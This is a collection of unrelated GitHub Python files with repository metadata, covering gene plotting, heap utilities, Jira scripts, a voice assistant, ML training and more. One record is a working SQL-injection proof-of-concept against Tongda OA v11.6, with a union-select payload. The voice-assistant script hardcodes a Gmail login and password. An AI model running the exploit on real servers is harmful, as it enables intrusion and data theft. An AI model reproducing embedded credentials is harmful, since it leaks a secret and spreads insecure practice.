rmdir(conanfile.folders.base_source)\n clean_dirty(conanfile.folders.base_source)\n\n if not os.path.exists(conanfile.folders.base_source): # No source folder, need to get it\n with set_dirty_context_manager(conanfile.folders.base_source):\n mkdir(conanfile.source_folder)\n mkdir(conanfile.recipe_metadata_folder)\n\n # First of all get the exported scm sources (if auto) or clone (if fixed)\n # Now move the export-sources to the right location\n merge_directories(export_source_folder, conanfile.folders.base_source)\n\n run_source_method(conanfile, hook_manager)\n\n\ndef run_source_method(conanfile, hook_manager):\n mkdir(conanfile.source_folder)\n with chdir(conanfile.source_folder):\n hook_manager.execute(\"pre_source\", conanfile=conanfile)\n if hasattr(conanfile, \"source\"):\n conanfile.output.highlight(\"Calling source() in {}\".format(conanfile.source_folder))\n with conanfile_exception_formatter(conanfile, \"source\"):\n with conanfile_remove_attr(conanfile, ['settings', \"options\"], \"source\"):\n conanfile.source()\n hook_manager.execute(\"post_source\", conanfile=conanfile)\n","repo_name":"conan-io/conan","sub_path":"conans/client/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":3630,"program_lang":"python","lang":"en","doc_type":"code","stars":7343,"dataset":"github-code","pt":"77"} +{"seq_id":"19019305406","text":"\nimport sys\n\nfrom genome import coord\nimport genome.gene\nfrom .track import Track\nfrom .transcripttrack import TranscriptTrack\n\n \nclass GenesTrack(Track):\n \"\"\"Class for drawing all of the genes in a region\"\"\"\n \n def __init__(self, all_genes, region, options):\n # call superclass constructor\n super(GenesTrack, self).__init__(region, options)\n\n self.genes = all_genes\n self.n_fwd_rows = None\n self.n_rev_rows = None\n self.row_assignment = None\n self.color = options['color']\n self.utr_color = options['utr_color']\n self.longest_isoform_only = self.parse_bool_str(options['longest_isoform_only'])\n\n if 'draw_label' in options:\n self.draw_label = self.parse_bool_str(options['draw_label'])\n else:\n self.draw_label = True\n\n sys.stderr.write(\"%d genes total\\n\" % len(all_genes))\n \n # get all genes that overlap region\n self.overlap_genes = coord.get_coord_overlaps(self.region,\n self.genes,\n use_strand=False)\n\n sys.stderr.write(\"%d genes overlap region\\n\" % len(self.overlap_genes))\n\n self.overlap_trs = []\n for g in self.overlap_genes:\n if self.longest_isoform_only:\n # only longest transcript for each gene\n self.overlap_trs.append(g.get_longest_transcript())\n else:\n # use all transcripts\n self.overlap_trs.extend(gene.transcripts)\n sys.stderr.write(\"%d transcripts overlap region\" % len(self.overlap_trs))\n \n # assign rows to the transcripts\n if self.draw_label:\n padding = region.length() * 0.2\n else:\n padding = region.length() * 0.01\n self.assign_feature_rows(self.overlap_trs, padding=padding)\n\n if self.height <= 0.0:\n # assign height based on how many rows of transcripts\n # there are\n self.height = float(self.n_row) * 0.5\n\n\n def draw_track(self, r):\n # make margin 20% the width of a transcript\n y_scale = self.height / float(self.n_row)\n tr_height = y_scale * 0.80\n margin_height = y_scale - tr_height\n\n for tr in self.overlap_trs:\n # give each transcript its own track\n\n if self.draw_label:\n draw_label_str = \"true\"\n else:\n draw_label_str = \"false\"\n \n tr_options = {'color' : self.color,\n 'utr_color' : self.utr_color,\n 'border' : 'false',\n 'height' : str(tr_height),\n 'draw_label' : draw_label_str}\n \n tr_track = TranscriptTrack(tr, self.region, tr_options)\n\n # position transcript track\n row = self.row_assignment[tr]\n top = self.top - ((row * tr_height) + (margin_height*row))\n bottom = top - tr_height\n tr_track.set_position(self.region.start, self.region.end,\n top, bottom)\n\n # draw transcript\n tr_track.draw_track(r)\n","repo_name":"gmcvicker/draw_genes","sub_path":"draw/genestrack.py","file_name":"genestrack.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"} +{"seq_id":"23182174602","text":"import time\nimport requests\nimport urllib3\ndef now_time():\n return time.strftime(\"[%H:%M:%S] \", time.localtime()) \ndef main(target_url):\n if target_url[:4]!='http':\n target_url = 'http://' + target_url\n if target_url[-1]!='/':\n target_url += '/' \n headers = {\n \"User-Agent\": \"Go-http-client/1.1\",\n \"Accept-Encoding\":\"gzip\",\n \"Content-Type\":\"application/x-www-form-urlencoded\"\n }\n data='''_POST[dataset_id]=efgh%27-%40%60%27%60%29union+select+database%28%29%2C2%2Cuser%28%29%23%27&action=get_link_info&'''\n exp_url=target_url+'general/bi_design/appcenter/report_bi.func.php'\n success_msg = now_time() + '[SUCCESS] 可能存在POST_sql注入漏洞,使用sqlmap数据包做进一步验证'\n warning_msg = now_time() + '不存在通达OA v11.6 report_bi.func.php SQL注入漏洞,原因可能未登录'\n error_msg = now_time() + '[通达OA v11.6 report_bi.func.php SQL注入漏洞]未知错误,无法利用poc请求目标或被目标拒绝请求'\n try:\n requests.packages.urllib3.disable_warnings()\n response = requests.post(exp_url, headers=headers, data=data, verify=False)\n if response.status_code == 200 and 'root' in response.text :\n return success_msg\n else:\n return warning_msg\n except:\n return error_msg\n \n \n \n ","repo_name":"SheldonPhang/Sharkhome","sub_path":"project/main/Anywhere/通达OA_v11_6_report_bi_sql.py","file_name":"通达OA_v11_6_report_bi_sql.py","file_ext":"py","file_size_in_byte":1392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"22521771417","text":"#!/usr/bin/env python\n\n'''\n有时候解决问题不需要完整的堆,函数实现更加轻巧\n相当于实现了heapq中的各个库方法。\n'''\n\ndef shift_down(lst, start):\n '''\n 默认直接交换到最底层\n '''\n i, j = start, start * 2 + 1\n v = lst[start]\n while j < len(lst):\n if j + 1 < len(lst) and lst[j + 1] < lst[j]: j = j + 1\n if v <= lst[j]: break\n lst[i] = lst[j]\n i, j = j, j * 2 + 1\n lst[i] = v\n\ndef build_heap(lst):\n n = len(lst)\n for i in range((n-1)//2, -1, -1):\n shift_down(lst, i)\n\ndef heap_pop(lst):\n v = lst[0]\n sub = lst.pop()\n if len(lst) > 0:\n lst[0] = sub\n shift_down(lst, 0)\n return v\n\ndef shift_up(lst, start):\n i, j = start, (start - 1) // 2\n v = lst[start]\n while j >= 0:\n if lst[j] <= v: break\n lst[i] = lst[j]\n i, j = j, (j - 1) // 2\n lst[i] = v\n\ndef heap_push(lst, x):\n lst.append(x)\n shift_up(lst, len(lst) - 1)\n\n","repo_name":"ftakanashi/JobProjects","sub_path":"算法与数据结构专题/堆/heap_func.py","file_name":"heap_func.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"} +{"seq_id":"37861889277","text":"from configparser import ConfigParser\nimport re\nimport logging\nfrom jira import JIRA\n\nlog = logging.getLogger(\"unmark-logger\")\nlogging.basicConfig(format='%(asctime)s %(levelname)s: %(message)s',\n level=logging.INFO)\n\njira_project = 'TSP'\n\n\ndef unmark_migrated_tickets(jira):\n \"\"\"Unmarks tickets that are originally marked as\n migrated-from-redmine.\n\n This helps with testing with migration, as the migration code\n assumes that redmine tickets have yet to be migrated.\n\n Tickets that are migrated have the prefix '[RM:xxxxx]'\n in the summary field. Simply modify that prefix.\n \"\"\"\n query = f\"project='{jira_project}'\"\n count = 0\n unmarked = 0\n # Using algorithm in\n # https://community.atlassian.com/t5/Jira-Core-Server-questions/List-all-the-issues-of-a-project-with-JIRA-Python/qaq-p/350521\n # to loop through all tickets\n block_size = 50\n block_num = 0\n while True:\n start_idx = block_num*block_size\n j_issues = jira.search_issues(query, start_idx, block_size)\n if len(j_issues) == 0:\n # Retrieve issues until there are no more to come\n break\n block_num += 1\n for j_issue in j_issues:\n print(j_issue.key)\n j_summary = j_issue.fields.summary\n m = re.search(r\"\\[RM\\-([0-9]+)\\].*\", j_summary)\n if m:\n modified_summary = j_issue.fields.summary.replace(r'[RM-',\n r'[UM-')\n log.info(f'Unmarked ticket {j_issue.key}')\n j_issue.update(summary=modified_summary)\n unmarked += 1\n count += 1\n log.info(f\"Unmarked {unmarked} tickets from a total of {count} in project\")\n\n\ndef create_jira():\n from pathlib import Path\n jira_oauth_private_key_file = Path.home()/\".oauthconfig/oauth.pem\"\n config_file = Path.home()/\".oauthconfig/.redmine_jira.config\"\n\n config = ConfigParser()\n config.read(config_file)\n\n jira_url = config.get(\"jira\", \"base_url\")\n oauth_token = config.get(\"jira\", \"oauth_token\")\n oauth_token_secret = config.get(\"jira\", \"oauth_token_secret\")\n consumer_key = config.get(\"jira\", \"consumer_key\")\n\n rsa_private_key = None\n # Load RSA Private Key file.\n with open(jira_oauth_private_key_file, 'r') as key_cert_file:\n rsa_private_key = key_cert_file.read()\n\n if jira_url[-1] == '/':\n jira_url = jira_url[0:-1]\n\n oauth_dict = {\n 'access_token': oauth_token,\n 'access_token_secret': oauth_token_secret,\n 'consumer_key': consumer_key,\n 'key_cert': rsa_private_key\n }\n\n return JIRA(oauth=oauth_dict, server=jira_url)\n\n\nif __name__ == \"__main__\":\n\n jira = create_jira()\n unmark_migrated_tickets(jira)\n","repo_name":"Subaru-PFS/pfs_infra_ipmu","sub_path":"redmine_migration/tools/unmark_migrated_tickets.py","file_name":"unmark_migrated_tickets.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"8794160845","text":"class Node : \n def __init__(self,data,next=None):\n self.data = data\n self.next = next\n\n def __str__(self):\n return str(self.data)\n \ndef createList(l = []):\n if len(l) == 0:\n return None\n \n head = Node(l[0])\n t = head\n for i in range(1,len(l)):\n t.next = Node(l[i])\n t = t.next\n return head\n\ndef printList(H):\n if H == None :\n return\n t = H\n while(t.next != None): \n print(f'{t} ',end='')\n t = t.next\n print(t)\n\ndef size(h): \n count = 0\n t = h\n if t == None : \n return count\n else :\n count = 1 \n while(t.next != None):\n count += 1\n t = t.next\n return count\n\ndef mergeOrderesList(p,q):\n pt = p\n while(pt.next != None):\n pt = pt.next\n pt.next = q\n\n p_current = p\n while p_current.next is not None:\n q_current = p_current.next\n while q_current is not None:\n if p_current.data > q_current.data:\n temp = p_current.data\n p_current.data = q_current.data\n q_current.data = temp\n q_current = q_current.next\n p_current = p_current.next\n return p\n\ndef main():\n data = [e for e in input(\"Enter 2 Lists : \").split(' ')]\n L1 = [int(e) for e in data[0].split(',')]\n L2 = [int(e) for e in data[1].split(',')]\n LL1 = createList(L1)\n LL2 = createList(L2)\n print('LL1 : ',end='')\n printList(LL1)\n print('LL2 : ',end='')\n printList(LL2)\n m = mergeOrderesList(LL1,LL2)\n print('Merge Result : ',end='')\n printList(m)\nif __name__ == \"__main__\":\n main()","repo_name":"pithakpong/OOD","sub_path":"linklist/Chapter 5 - item 3 - MergeOrderList.py","file_name":"Chapter 5 - item 3 - MergeOrderList.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1747520119","text":"\"\"\"Regression AI screener implementation.\n\nThe author is Zmicier Gotowka\n\nDistributed under Fcore License 1.1 (see license.md)\n\"\"\"\nfrom screener.base import BaseScr\nfrom screener.base import ScrError\n\nfrom data.fvalues import StockQuotes\n\nfrom tools.regression import Regression, RegressionData, LSTM\n\nimport torch\n\nclass RegScr(BaseScr):\n \"\"\"\n Regression AI screener implementation class.\n \"\"\"\n def __init__(self,\n window_size,\n epochs,\n forecast_size,\n test_length,\n max_rows,\n **kwargs):\n \"\"\"\n Initialize regression AI screener class.\n\n Args:\n window_size(int): Sliding window size\n epochs(int): number of epochs.\n forecast_size(int): Size of periods to forecast. Decision will be taken based on the last predicted period.\n test_length(int): number of periods to perform the test. Be sure that the last forecast_size elements\n vere not used while learning. By default (the minimum value) is window_size + forecast_size\n max_rows(int): The maxumum number of rows to store. Used to prevent excessive dataset growth.\n \"\"\"\n super().__init__(**kwargs)\n\n self._window_size = window_size\n self._epochs = epochs\n self._forecast_size = forecast_size\n self._test_length = test_length\n self._max_rows = max_rows\n\n def calculate(self):\n \"\"\"\n Perform calculation for regression AI demo.\n\n Raises:\n ScrError: not enough data to make a calculation.\n \"\"\"\n self._results = [] \n\n for symbol in self.get_symbols():\n rows = symbol.get_data(self.get_period(), self.get_init_status())\n\n if self.get_init_status() is False:\n min_len = self._window_size + self._forecast_size\n\n if len(rows) < min_len:\n raise ScrError(f\"Not enough quotes: {len(rows)} < {min_len}\")\n\n # Need to initialize regression instances for each symbol\n data = RegressionData(rows=rows,\n window_size=self._window_size,\n epochs=self._epochs,\n forecast_size=self._forecast_size,\n in_features=[StockQuotes.AdjClose, StockQuotes.Volume],\n output_size=1,\n test_length=self._test_length,\n auto_train=True,\n max_rows=self._max_rows)\n\n model = LSTM(data=data)\n loss = torch.nn.MSELoss()\n optimizer = torch.optim.Adam(model.parameters(), lr=0.01)\n\n symbol.reg = Regression(model=model,\n loss=loss,\n optimizer=optimizer,\n verbosity=self._verbosity)\n\n # Perform the initial learning\n self.log(f\"\\nPerform initial model training for {symbol.get_title()}\")\n symbol.reg.calculate()\n\n symbol.reg.get_model().data.set_epochs(30) # Set less epochs for appending learning\n else:\n symbol.reg.get_model().data.append_data(rows=[rows[-1]]) # Need to add the last one row only\n\n signal_buy = False\n signal_sell = False\n\n # Perform a forecasting\n est_data = symbol.reg.get_results()\n\n current = rows[StockQuotes.Close][-1]\n forecasted = est_data[-1][0]\n\n if current < forecasted:\n signal_buy = True\n elif current > forecasted:\n signal_sell = True\n\n result = [symbol.get_title(),\n symbol.get_max_datetime(),\n symbol.get_quotes_num(),\n [current, forecasted],\n [signal_buy, signal_sell]]\n\n self._results.append(result)\n","repo_name":"ZmicierGT/fcore","sub_path":"screener/regression_scr.py","file_name":"regression_scr.py","file_ext":"py","file_size_in_byte":4196,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"77"} +{"seq_id":"6893186216","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 13 15:27:50 2017\r\n\r\n@author: Vaidehee\r\n\"\"\"\r\n\r\n#check if there are duplicate present in the list\r\n#input [1,2,2]\r\n#output - duplicates present\r\n\r\n#input [1,2,3]\r\n#output - no duplicates\r\n\r\ndef duplicates(a,l):\r\n b=set(a)\r\n if(len(a)>len(b)):\r\n print(\"duplicates present\")\r\n else:\r\n print(\"no duplicates\")\r\n \r\na=list()\r\nl=int(input(\"Enter the number of elements in the array\"))\r\nfor i in range(l):\r\n element=int(input(\"Enter element: \"))\r\n a.append(element)\r\n \r\nduplicates(a,l)","repo_name":"atasky/Python-data-structures-and-algorithms","sub_path":"check for duplicates.py","file_name":"check for duplicates.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"7377617608","text":"import socket\nsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\nsock.bind(('127.0.0.1',1234))\n\n# we use recvfrom,not recv because tcp was connection oriented in which address doesnt not change,\n# but in udp address changes so we have to inout address every time in order to send back data to the address if needed\nwhile True:\n data,addr=sock.recvfrom(1024)\n print(\"Client says : \", end=\"\")\n print(data.decode('utf-8'))\n message=bytes((\"Hello I am UDP Server\").encode('utf-8'))\n\n # not send,sendto because we specifically give address\n sock.sendto(message,addr)\n\n","repo_name":"joebeck20/College","sub_path":"SEM 4/Computer networks lab/Assignment3_udp/udpserver.py","file_name":"udpserver.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18121458662","text":"import json\nimport asyncio\nfrom aio_pika import connect, Message\nimport random\n\n\n# let say that every random number above 8 consider as failed process and return \"Error\"!!!\nSTATUS_QUEUE = \"tasks_status\"\nTASK_QUEUE = \"send_tasks\"\n\n\n# a call back after reading task from task message_q\nasync def process_task(channel, body, queue_name):\n # read the text.\n unique_id = body.decode()\n\n # write status \"Running\" to status queue for task with its id\n task_status = {\"unique_id\": unique_id,\n \"status\": \"Running\"}\n print(\"Processor: Received task from producer %r\" % unique_id)\n await channel.default_exchange.publish(\n Message(body=json.dumps(task_status).encode()),\n routing_key=queue_name,\n )\n # Scanning...\n time_process = random.randint(1, 10)\n print(\"This process will take %r seconds:\" % time_process)\n await asyncio.sleep(time_process)\n\n # done scanning\n status = \"Complete\"\n if time_process > 8:\n status = \"Error\"\n # write status \"Complete\" or \"Error\" to status queue for task with its id\n task_status = {\"unique_id\": unique_id,\n \"status\": status}\n print(\"Processor: sends task %r to status queue\" % unique_id)\n await channel.default_exchange.publish(\n Message(body=json.dumps(task_status).encode()),\n routing_key=queue_name,\n )\n\n\n# function that creates a tasks message_q to read from\nasync def create_tasks_message_q(host, queue_name):\n # create connection and the queue\n connection = await connect(host=host)\n channel = await connection.channel()\n queue = await channel.declare_queue(queue_name)\n\n # try to read from queue\n print(\"Processor: Waiting for tasks from producer or to exit press ctrl + c'\")\n async with queue.iterator() as queue_iter:\n # Cancel consuming after __aexit__\n async for message in queue_iter:\n async with message.process():\n await process_task(channel, message.body, STATUS_QUEUE)\n if queue.name in message.body.decode():\n break\n await connection.close()\n\n\nasync def main():\n task = asyncio.create_task(create_tasks_message_q(\"localhost\", TASK_QUEUE))\n await task\n\n\nasyncio.run(main())\n","repo_name":"yuvallevy135/AtBay","sub_path":"processor.py","file_name":"processor.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25703568044","text":"from Fuctions.online import play_on_youtube,search_on_google,send_whatsapp_message,send_email,search_on_wikipedia,get_random_joke,get_random_advice\r\nimport pyttsx3 #pip install pyttsx3\r\nimport speech_recognition as sr #pip install speechRecognition\r\nimport datetime\r\nimport wikipedia #pip install wikipedia\r\nimport os\r\nimport smtplib\r\nfrom random import choice\r\nfrom utils import opening_text\r\nfrom Fuctions.os_ops import open_calculator, open_camera, open_cmd\r\nfrom pprint import pprint\r\n\r\nprint(\"Initializing Marvel\")\r\nMASTER = \"Kamal\"\r\n\r\nengine = pyttsx3.init('sapi5')\r\nengine.setProperty('rate', 190)\r\nvoices = engine.getProperty('voices')\r\nengine.setProperty('voice', voices[0].id)\r\n#Speak function will speak/Pronounce the string which is passed to it\r\ndef speak(text):\r\n engine.say(text)\r\n engine.runAndWait()\r\n\r\n#This funtion will wish you as per the current time\r\ndef wishMe():\r\n hour = int(datetime.datetime.now().hour)\r\n print(hour)\r\n\r\n if hour>=0 and hour <12:\r\n speak(\"Heyyyy,good morning\" + MASTER)\r\n\r\n elif hour>=12 and hour<18:\r\n speak(\"Heyyyy,good afternoon\" + MASTER)\r\n\r\n else:\r\n speak(\"Heyyyy,good Evening\" + MASTER)\r\n\r\n speak(\"i am Marvel. How may I help you?\")\r\n\r\ndef sendEmail(to, content):\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n server.login('smohtesham12@gmail.com', 'Smkamal01')\r\n server.sendmail(\"mohteshamkamal@gmail.com\", to, content)\r\n server.close()\r\n\r\n \r\n\r\n\r\n\r\n#This function will take command from the microphone\r\ndef takeCommand():\r\n \"\"\"Takes user input, recognizes it using Speech Recognition module and converts it into text\"\"\"\r\n\r\n r = sr.Recognizer()\r\n with sr.Microphone() as source:\r\n print('Listening....')\r\n r.pause_threshold = 1\r\n audio = r.listen(source)\r\n\r\n try:\r\n print('Recognizing...')\r\n query = r.recognize_google(audio, language='en-in')\r\n if not 'exit' in query or 'stop' in query:\r\n speak(choice(opening_text))\r\n else:\r\n hour = datetime.now().hour\r\n if hour >= 21 and hour < 6:\r\n speak(\"Good night sir, take care!\")\r\n else:\r\n speak('Have a good day sir!')\r\n exit()\r\n except Exception:\r\n speak('Sorry, I could not understand. Could you please say that again?')\r\n query = 'None'\r\n return query\r\n\r\n#main program starting\r\ndef main():\r\n speak(\"Initializing Marvel...\")\r\n wishMe()\r\n query = takeCommand()\r\n\r\n #Logic for executing tasks as per the query\r\n if 'search on Wikipedia' in query:\r\n speak('What do you want to search on Wikipedia, sir?')\r\n search_query = takeCommand().lower()\r\n results = search_on_wikipedia(search_query)\r\n speak(f\"According to Wikipedia, {results}\")\r\n speak(\"For your convenience, I am printing it on the screen sir.\")\r\n print(results)\r\n\r\n elif 'open command prompt' in query or 'open cmd' in query:\r\n open_cmd()\r\n\r\n elif 'open camera' in query:\r\n open_camera()\r\n\r\n elif 'open calculator' in query:\r\n open_calculator()\r\n\r\n elif 'video on YouTube' in query:\r\n speak(\"what do you want to play on Youtube, Sir?\")\r\n video = takeCommand().lower()\r\n play_on_youtube(video)\r\n \r\n elif 'search on Google' in query:\r\n speak('What do you want to search on Google, sir?')\r\n query = takeCommand().lower()\r\n search_on_google(query)\r\n \r\n elif \"send WhatsApp message\" in query:\r\n speak('On what number should I send the message sir? Please enter in the console: ')\r\n number = input(\"Enter the number: \")\r\n speak(\"What is the message sir?\")\r\n message = takeCommand().lower()\r\n send_whatsapp_message(number, message)\r\n speak(\"I've sent the message sir.\")\r\n\r\n elif 'play music' in query.lower():\r\n songs_dir = \"C:\\\\Users\\\\dell\\\\Music\"\r\n songs = os.listdir(songs_dir)\r\n print(songs)\r\n os.startfile(os.path.join(songs_dir, songs[1]))\r\n\r\n elif 'what is the time' in query.lower():\r\n strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n speak(f\"{MASTER} the time is {strTime}\")\r\n\r\n \r\n elif \"send an email\" in query:\r\n speak(\"On what email address do I send sir? Please enter in the console: \")\r\n receiver_address = input(\"Enter email address: \")\r\n speak(\"What should be the subject sir?\")\r\n subject = takeCommand().capitalize()\r\n speak(\"What is the message sir?\")\r\n message = takeCommand().capitalize()\r\n if send_email(receiver_address, subject, message):\r\n speak(\"I've sent the email sir.\")\r\n else:\r\n speak(\"Something went wrong while I was sending the mail. Please check the error logs sir.\")\r\n \r\n elif 'joke' in query:\r\n speak(f\"Hope you like this one sir\")\r\n joke = get_random_joke()\r\n speak(joke)\r\n speak(\"For your convenience, I am printing it on the screen sir.\")\r\n pprint(joke)\r\n\r\n elif \"advice\" in query:\r\n speak(f\"Here's an advice for you, sir\")\r\n advice = get_random_advice()\r\n speak(advice)\r\n speak(\"For your convenience, I am printing it on the screen sir.\")\r\n pprint(advice)\r\n\r\n\r\nmain()","repo_name":"Syed-Mohtesham-Kamal/Marvel-assistant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"72065404090","text":"import os\nimport argparse\nimport torch\nimport timm\nimport pytorch_lightning as pl\n\nfrom torch import nn\nfrom datetime import datetime\nfrom pytorch_lightning import Trainer\nfrom pytorch_lightning.callbacks import LearningRateMonitor\nfrom pytorch_lightning.loggers import CSVLogger\n\nfrom models.raster_barlow_twins import BarlowTwins\nfrom data_utils.dataset_modules import WaymoPredictionBarlowRasterDataModule\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--model\", type=str, required=True)\n parser.add_argument(\"--encoder-out-dim\", type=int, required=True)\n parser.add_argument(\"--pretrained\", action=\"store_true\")\n # TODO: add param to load pre-training checkpoint\n parser.add_argument(\"--batch-size\", type=int, required=False, default=128)\n parser.add_argument(\"--lr\", type=float, required=False, default=1e-4)\n parser.add_argument(\"--train-hours\", type=float, required=False, default=9.0)\n parser.add_argument(\"--save-dir\", type=str, required=True)\n parser.add_argument(\"--train-sample-limit\", type=int, required=False, default=0)\n parser.add_argument(\"--num-nodes\", type=int, required=False, default=1)\n parser.add_argument(\"--num-gpus\", type=int, required=False, default=4)\n parser.add_argument(\n \"--train-path\",\n type=str,\n required=False,\n default=\"/p/project/hai_mrt_pc/waymo-prediction/pre-rendered/train\",\n )\n parser.add_argument(\n \"--val-path\",\n type=str,\n required=False,\n default=\"/p/project/hai_mrt_pc/waymo-prediction/pre-rendered/dev\",\n )\n\n args = parser.parse_args()\n\n return args\n\n\ndef main():\n args = parse_args()\n csv_logger = CSVLogger(f\"{args.save_dir}\")\n\n encoder = timm.create_model(args.model, in_chans=3, pretrained=args.pretrained)\n if args.model.startswith(\"vit\"):\n encoder.head = nn.Identity()\n else:\n encoder.fc = nn.Identity()\n\n bt = BarlowTwins(\n encoder=encoder,\n encoder_out_dim=args.encoder_out_dim,\n batch_size=args.batch_size,\n z_dim=2048,\n learning_rate=args.lr,\n )\n\n dm_barlow = WaymoPredictionBarlowRasterDataModule(\n batch_size=args.batch_size,\n num_dataloader_workers=10,\n pin_memory=True,\n train_path=args.train_path,\n val_path=args.val_path,\n val_limit=24 * 100,\n )\n\n lr_monitor = LearningRateMonitor(logging_interval=\"epoch\")\n\n trainer = Trainer(\n precision=16,\n accelerator=\"gpu\",\n devices=args.num_gpus,\n num_nodes=args.num_nodes,\n max_time={\"days\": 0, \"hours\": args.train_hours},\n default_root_dir=args.save_dir,\n callbacks=[lr_monitor],\n logger=csv_logger,\n strategy=\"ddp\",\n )\n\n trainer.fit(bt, datamodule=dm_barlow)\n\n save_time = datetime.utcnow().replace(microsecond=0).isoformat()\n\n torch.save(\n bt.state_dict(),\n f\"{args.save_dir}/models/{args.model}-{save_time}.pt\",\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KIT-MRT/road-barlow-twins","sub_path":"src/road_barlow_twins/pretrain_road_barlow_twins.py","file_name":"pretrain_road_barlow_twins.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"} +{"seq_id":"31098938758","text":"from game import GameWithGraphics\nfrom state_setting import get_state\nfrom multi_agent import Agents\nimport numpy as np\nimport time\n\nfps = 2\nlength = 4\n\ndef main():\n game = GameWithGraphics(length, get_state, 70)\n \n state = game.reset()\n \n agents = Agents([len(s) for s in state],\n [4]*3,\n 2048,\n lambda n, lr: lr if n < 180 else lr*np.exp(-.018),\n .009,\n epsilon_length=200)\n \n agents.load_models(['./saved_models/0', './saved_models/1',\n './saved_models/2'])\n \n agents.set_test_mode(True)\n \n for i in range(80_000):\n actions = agents(state)\n actions = [a.numpy().item() for a in actions]\n next_state, rewards, done = game.step(\n actions\n )\n \n state = next_state\n \n if done:\n state = game.reset()\n \n time.sleep(1/fps)\n \nif __name__ == '__main__':\n main()","repo_name":"ostadnavid/mutliagent_tigertodeer","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"33506139013","text":"print(\"Importing the libraries\")\nimport pandas as pd\nimport openai\nimport re\nfrom bs4 import BeautifulSoup\nimport numpy as np\nimport time\n\nprint(\"Defining column names for dataframe\")\ncolumns = ['terminologyEnglish', 'terminologyFrench']\n\nprint(\"Create an empty dataframe with defined columns\")\ndf = pd.DataFrame(columns=columns)\n\n#Setting up your OpenAI API credential\nopenai.api_key = 'your key'\n\nprint(\"Reading the SGM file\")\nwith open(\"/home/ubuntu/thesis/data/input/test.en-fr.fr.sgm\", \"r\") as file:\n sgm_content = file.read()\n\n# Parse the SGM content using BeautifulSoup\nsoup = BeautifulSoup(sgm_content, \"html.parser\")\n\n# Find all tags\nseg_tags = soup.find_all(\"seg\")\n\n# Extract the values of src and tgt attributes from each tag\ndata = []\n# Extract the value of the src attribute for each tag\nfor seg_tag in seg_tags:\n term_tags = seg_tag.find_all(\"term\")\n for term_tag in term_tags:\n src_value = term_tag.get(\"src\")\n tgt_value = term_tag.get(\"tgt\")\n data.append({\"src_value\": src_value, \"tgt_value\": tgt_value})\n\n# Add src_value and tgt_value to df columns 'terminologyEnglish' and 'terminologyFrench'\nfor i, row in enumerate(data):\n terminologyEnglish = row[\"src_value\"]\n terminologyFrench = row[\"tgt_value\"]\n df.loc[i] = [terminologyEnglish, terminologyFrench]\n\nprint(\"Dropping duplicate entries from dataframe\")\ndf = df.drop_duplicates()\ndf = df.reset_index(drop=True)\n\n# Define your input prompts\nprompts = df['terminologyEnglish']\n\ndfs = []\ni = 0\n\nprint(\"Function to generate sentences for a given prompt\")\ndef generate_sentences(prompt):\n responses = []\n for _ in range(5):\n try:\n response = openai.Completion.create(\n engine=\"text-davinci-003\",\n prompt=\"Generate an English sentence for this term: \" + prompt,\n max_tokens=50,\n n=1,\n stop=None,\n temperature=0.8,\n )\n generated_text = response.choices[0].text.strip()\n responses.append(generated_text)\n time.sleep(3)\n except Exception as e:\n print(f\"Error occurred while making API call: {str(e)}\")\n return responses\n\nprint(\"Create a new DataFrame to store generate sentences\")\ndf_generated = pd.DataFrame(columns=['terminologyEnglish', 'syntheticText'])\n\ntry:\n for index, row in df.iterrows():\n term = row['terminologyEnglish']\n print(\"Generating synthetic text for term :\"+term)\n generated_sentences = generate_sentences(term)\n for sentence in generated_sentences:\n df_generated = pd.concat([df_generated, pd.DataFrame({'terminologyEnglish': [term], 'syntheticText': [sentence]})], ignore_index=True)\n \n # Merge the generated sentences DataFrame with the original DataFrame\n df = pd.merge(df, df_generated, on='terminologyEnglish')\nexcept Exception as e:\n print(\"Code failed with error: \"+str(e))\n\nprint(\"Generating translated statements\")\n\ntry:\n for _, row in df.iterrows():\n terminology = row['terminologyEnglish']\n syntheticText = row['syntheticText']\n \n if pd.isna(syntheticText):\n continue # Skip iteration if syntheticText is NaN\n \n prompt = \"Translate the following English text to French: \"+syntheticText\n # Generate translation using the OpenAI API\n try:\n response = openai.Completion.create(\n engine=\"text-davinci-003\",\n prompt=prompt,\n max_tokens=50,\n n=1,\n stop=None,\n )\n time.sleep(3)\n except Exception as e:\n print(f\"Error occurred while making API call: {str(e)}\")\n time.sleep(5)\n translated_text = response.choices[0].text.strip()\n df.loc[df.index == _, 'translatedText'] = translated_text\n print(\"Translated sentence for term: \"+terminology)\n \nexcept 